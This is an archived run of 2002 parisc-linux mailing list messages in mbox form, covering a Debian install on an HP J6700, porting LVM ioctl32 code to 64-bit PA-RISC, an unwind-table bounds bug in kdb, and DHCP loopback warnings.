  /dev/hda* is missing, therefore it was unable to find the CDROM for base
install.  I spawned a shell and did a MAKEDEV hda.

  LCD reads Linux 24.18-64 with installation kernel and heartbeat is
erratic.  Minor.

-- Install after reboot --

  The apt-get configuration *insisted* on looking for stable packages.  I
had to use the manual option to add these lines:

deb http://http.us.debian.org/debian woody main contrib
deb-src http://http.us.debian.org/debian woody main contrib
deb http://non-us.debian.org/debian-non-US woody/non-US main contrib
deb-src http://non-us.debian.org/debian-non-US woody/non-US main contrib

  Unfortuantely, manual editing of sources.list doesn't allow
specification of a proxy.  I'm behind a proxy.  Setting $http_proxy then
restarting base-config allowed me to finish.

-- After install --

  LCD is fine except heartbeat is extremely slow.  Is the speed dependent
on load? (:

  Haven't tried SMP.  The installed kernel is UP.

  No real stress testing performed as of yet.  No word on stability.

  Is gcc-3.1 worth putting in as default?

maz@pa-risc:/proc$ more cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8700 (PCX-W2)
cpu MHz         : 750.000000
model           : 9000/785/J6700
model name      : Duet W2
hversion        : 0x00005dd0
sversion        : 0x00000491
I-cache         : 768 KB
D-cache         : 1536 KB (WB)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1497.49





From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J6700/ISO 20020526 install results
Date: Thu, 6 Jun 2002 20:09:38 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <90D1852D-7978-11D6-81E7-0030656F07A2@esiee.fr>
References: <Pine.GSO.4.40.0206060916010.10618-100000@hottub>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621371 8463 80.91.229.3 (22 Nov 2014 01:56:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Zahorik <matt@hottub.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 12:09:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AE67482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 12:09:40 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id DBBD849CA3; Thu,  6 Jun 2002 20:09:38 +0200 (CEST)
In-Reply-To: <Pine.GSO.4.40.0206060916010.10618-100000@hottub>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15019

Le jeudi 6 juin 2002, =E0 07:38 , Matthew Zahorik a =E9crit :

> Hello all!
>
>   Thanks to Grant for pointing me to the testing ISOs
>
>   The end result of a fresh install using these ISOs was that my J6700=20=

> is
> working fine under a 64-bit kernel.
>
>   I used the mini 70MB image.
>
>   I will be re-installing soon as I'm fooling with software RAID=20
> mirrored
> boot disks and the partitions are not laid out properly.  If the CD
> maintainer wishes to try another ISO addressing my notes below I'll be
> glad to give it another go.
There are regular updates of the netinst iso there:
http://pateam.esiee.fr/cd-images/testing/

You can find the corresponding lifimages there (to load kernel from=20
network, it's only 6M) :
http://pateam.esiee.fr/cd-images/lifimages/

They are regularly uploaded on ftp.parisc-linux.org, although it is not=20=

yet a cron'd job, so I have to do that by hand, therefore you might=20
sometimes find more recent ISOs on pateam than on p-l.o, shame on me :)
>
>   Thanks!
>
> - Matt
>
> ps.  This is my first go at PA-RISC/Linux, although I'm very familiar=20=

> with
> both Linux on other platforms and HP hardware.  Please forgive any
> foot-in-mouth that may result.
>
>   Notes:
>
> -- Base install --
>
>   It defaults to the 32-bit kernel.  I have 16GB in this machine and
> wanted more than 2G swap, therefore I IPL'd palo to boot 0/vmlinux64.
> Minor.  Is memory size known at this point?  If so, >4GB machines may=20=

> want
> to default to 64-bit.
>
>   /dev/hda* is missing, therefore it was unable to find the CDROM for=20=

> base
> install.  I spawned a shell and did a MAKEDEV hda.
This has been solved in the latest ISOs, thanks to Richard Hirst.
>
>   LCD reads Linux 24.18-64 with installation kernel and heartbeat is
> erratic.  Minor.
>
> -- Install after reboot --
>
>   The apt-get configuration *insisted* on looking for stable=20
> packages.  I
> had to use the manual option to add these lines:
>
> deb http://http.us.debian.org/debian woody main contrib
> deb-src http://http.us.debian.org/debian woody main contrib
> deb http://non-us.debian.org/debian-non-US woody/non-US main contrib
> deb-src http://non-us.debian.org/debian-non-US woody/non-US main =
contrib
>
>   Unfortuantely, manual editing of sources.list doesn't allow
> specification of a proxy.  I'm behind a proxy.  Setting $http_proxy =
then
> restarting base-config allowed me to finish.
This is very weird.
Have you tried 'set up another apt source', when installing ?
you might be prompted for all options there, after choosing 'http' or=20
'ftp' source...
>
> -- After install --
>
>   LCD is fine except heartbeat is extremely slow.  Is the speed=20
> dependent
> on load? (:
>
>   Haven't tried SMP.  The installed kernel is UP.
>
>   No real stress testing performed as of yet.  No word on stability.
>
>   Is gcc-3.1 worth putting in as default?
>
> maz@pa-risc:/proc$ more cpuinfo
> processor       : 0
> cpu family      : PA-RISC 2.0
> cpu             : PA8700 (PCX-W2)
> cpu MHz         : 750.000000
> model           : 9000/785/J6700
> model name      : Duet W2
> hversion        : 0x00005dd0
> sversion        : 0x00000491
> I-cache         : 768 KB
> D-cache         : 1536 KB (WB)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
> bogomips        : 1497.49
Anyway that's good news, and we will add this box to the list of=20
supported hardware!



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Thu, 06 Jun 2002 20:34:08 +0200 (CEST)
Lines: 50
Approved: news@gmane.org
Message-ID: <1023388448.3cffab201378e@webmail.tiscalinet.be>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621371 8467 80.91.229.3 (22 Nov 2014 01:56:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 12:34:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1A12482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 12:34:09 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17G25I-0007hK-00; Thu, 06 Jun 2002 20:34:08 +0200
In-Reply-To: <20020606130006.GE1080@tykepenguin.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15020

Hi all,

I do not have the opportunity to run a 64bits kernel but for 32bits kernel I run
a patched kernel with last stable lvm-1.0.4 (and it is runing fine for at least
two month).
Humm which CONFIG_ parameter do I have to check to compile this src for 64-bits
kernel.
I can so try to see at least if it compiles well and report results.

Joel 

Quoting Patrick Caulfield <patrick@tykepenguin.com>:

> On Thu, Jun 06, 2002 at 02:44:42PM +0200, Bruno Vidal wrote:
> > 	Hi
> > I've started this morning to download latest CVS bits.
> > I've prepared a patche for this version from my dump driver,
> > and try to recompile everything, but I've found a problem
> > with LVM !!! See:
> 
> 
> Does LVM work on 64bit HP ?
> 
> I remember doing the ioctl32.c support for sparc64 some time ago but I
> can
> easily beleive that the mods to that file haven't been propogated to
> other
> 32/64bit systems - if you're feeling adventurous and really need LVM
> then you
> might be able to cut out those bits and drop them into the HP.
> 
> On the other hand you could try LVM2. I know LVM2 runs well on my 32bit
> HP
> machines and also on 64bit Alpha.
> 
> patrick
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Thu, 6 Jun 2002 19:43:27 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20020606184327.GO1080@tykepenguin.com>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621372 8470 80.91.229.3 (22 Nov 2014 01:56:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 12:43:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBF22482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 12:43:28 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17G2EJ-0004oW-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 06 Jun 2002 19:43:27 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1023388448.3cffab201378e@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15021

On Thu, Jun 06, 2002 at 08:34:08PM +0200, joel.soete@freebel.net wrote:
> Hi all,
> 
> I do not have the opportunity to run a 64bits kernel but for 32bits kernel I run
> a patched kernel with last stable lvm-1.0.4 (and it is runing fine for at least
> two month).
> Humm which CONFIG_ parameter do I have to check to compile this src for 64-bits
> kernel.
> I can so try to see at least if it compiles well and report results.

I don't know about the 64bit compile switches (I only have a 32bit HP box) but
to get LVM running you'll need to take all the bits from
arch/sparc64/kernel/ioctl32.c inside the 

#if defined(CONFIG_BLK_DEV_LVM) || defined(CONFIG_BLK_DEV_LVM_MODULE)

#endif

and replace the bits from arch/parisc/kernel/ioctl32.c with them. I suspect it
will work. If it does then get a patch together and put it into the CVS !

I'm pleased (though not very surprised) that LVM works OK on 32 bit machines.

patrick
aka caulfield@sistina.com



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Thu, 6 Jun 2002 14:57:33 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20020606145733.C8107@systemhalted>
References: <20020606092115.C6900@systemhalted> <200206061619.g56GJdiE004367@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621372 8473 80.91.229.3 (22 Nov 2014 01:56:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:12 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 12:57:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72418485B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 12:57:42 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g56IvXd08485;
	Thu, 6 Jun 2002 14:57:33 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206061619.g56GJdiE004367@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Thu, Jun 06, 2002 at 12:19:39PM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (73% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15022

> > -       table->end = base_addr + end[-1].region_end;

> > +       table->end = base_addr + end[0].region_end - sizeof(struct unwind_table_entry);
> >         table->table = (struct unwind_table_entry *)table_start;
> >         table->length = end - start;
> >         table->next = NULL;
> 
> It's definitely dangerous to use array indexes outside the bounds
> of the array, particularly on the PA.  There can be problems with
> space register selection, although I wouldn't expect this to be a in
> the linux kernel.  You can avoid index insns with "-mdisable-indexing".
> Let me know if you see anything strange in the assembler output.
> 
> Dave

That's what I imagined, but only now do I realize that the fix
is completely wrong (my bad).

It should really be something like:

table->end = base_addr + (&end[0] - sizeof(struct unwind_table_entry))->region_end;

I'm pretty sure that the end[-1] is causing a processor fault. 
Which then causes kdb to kick-in, but the unwind table isn't
built yet so it can't find a matching entry.

If this doesn't work, then how is one supposed to correctly get
the last table entry? :)

 (end == __stop___unwind)

  __start___unwind = .;         /* unwind info */
  .PARISC.unwind : { *(.PARISC.unwind) }
  __stop___unwind = .;

c.




From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb getting healthier? (PCI guru needed, that's you willy!)
Date: Thu, 6 Jun 2002 15:35:19 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200206061935.g56JZKpd012149@hiauly1.hia.nrc.ca>
References: <20020606145733.C8107@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621372 8482 80.91.229.3 (22 Nov 2014 01:56:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:12 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 13:35:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 954AB4842
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 13:35:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g56JZLFN012150;
	Thu, 6 Jun 2002 15:35:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g56JZKpd012149;
	Thu, 6 Jun 2002 15:35:20 -0400 (EDT)
In-Reply-To: <20020606145733.C8107@systemhalted> from "Carlos O'Donell Jr." at Jun 6, 2002 02:57:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15023

> It should really be something like:
> 
> table->end = base_addr + (&end[0] - sizeof(struct unwind_table_entry))->region_end;

You should be able to just do something like

struct unwind_table_entry *p = end;
...
table->end = base_addr + (--p)->region_end;

> 
> I'm pretty sure that the end[-1] is causing a processor fault. 
> Which then causes kdb to kick-in, but the unwind table isn't
> built yet so it can't find a matching entry.
> 
> If this doesn't work, then how is one supposed to correctly get
> the last table entry? :)
> 
>  (end == __stop___unwind)
> 
>   __start___unwind = .;         /* unwind info */
>   .PARISC.unwind : { *(.PARISC.unwind) }
>   __stop___unwind = .;

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Messages after installing DHCP
Date: Thu,  6 Jun 2002 18:58:31 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <200206061858.AA1919091130@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621373 8484 80.91.229.3 (22 Nov 2014 01:56:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:13 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	<marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 18:00:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C678D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 18:00:22 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15024

Why do these messages flood my terminal after installing dhcp?

ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16


Thanks,
-Marc



From - Thu Nov 08 21:23:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 07 Jun 2002 08:05:51 +0200 (CEST)
Lines: 32
Approved: news@gmane.org
Message-ID: <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be> <20020606184327.GO1080@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621373 8489 80.91.229.3 (22 Nov 2014 01:56:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 00:05:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD7CA482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 00:05:53 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GCsh-0006Gq-00; Fri, 07 Jun 2002 08:05:51 +0200
In-Reply-To: <20020606184327.GO1080@tykepenguin.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15025

Quoting Patrick Caulfield <patrick@tykepenguin.com>:

...
> I don't know about the 64bit compile switches (I only have a 32bit HP
> box) but
> to get LVM running you'll need to take all the bits from
> arch/sparc64/kernel/ioctl32.c inside the 
> 
> #if defined(CONFIG_BLK_DEV_LVM) || defined(CONFIG_BLK_DEV_LVM_MODULE)
> 
> #endif
> 
> and replace the bits from arch/parisc/kernel/ioctl32.c with them. I
> suspect it
> will work. If it does then get a patch together and put it into the CVS
> !
Great, I will see.
> 
> I'm pleased (though not very surprised) that LVM works OK on 32 bit
> machines.

So surprised too ??


Many thanks,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Messages after installing DHCP
Date: Fri, 07 Jun 2002 08:26:06 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <1023431166.3d0051fec3edc@webmail.tiscalinet.be>
References: <200206061858.AA1919091130@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621373 8492 80.91.229.3 (22 Nov 2014 01:56:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:13 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	marc@centraltx.com
To: marc@centraltx.com, marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 00:26:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95A0F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 00:26:11 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
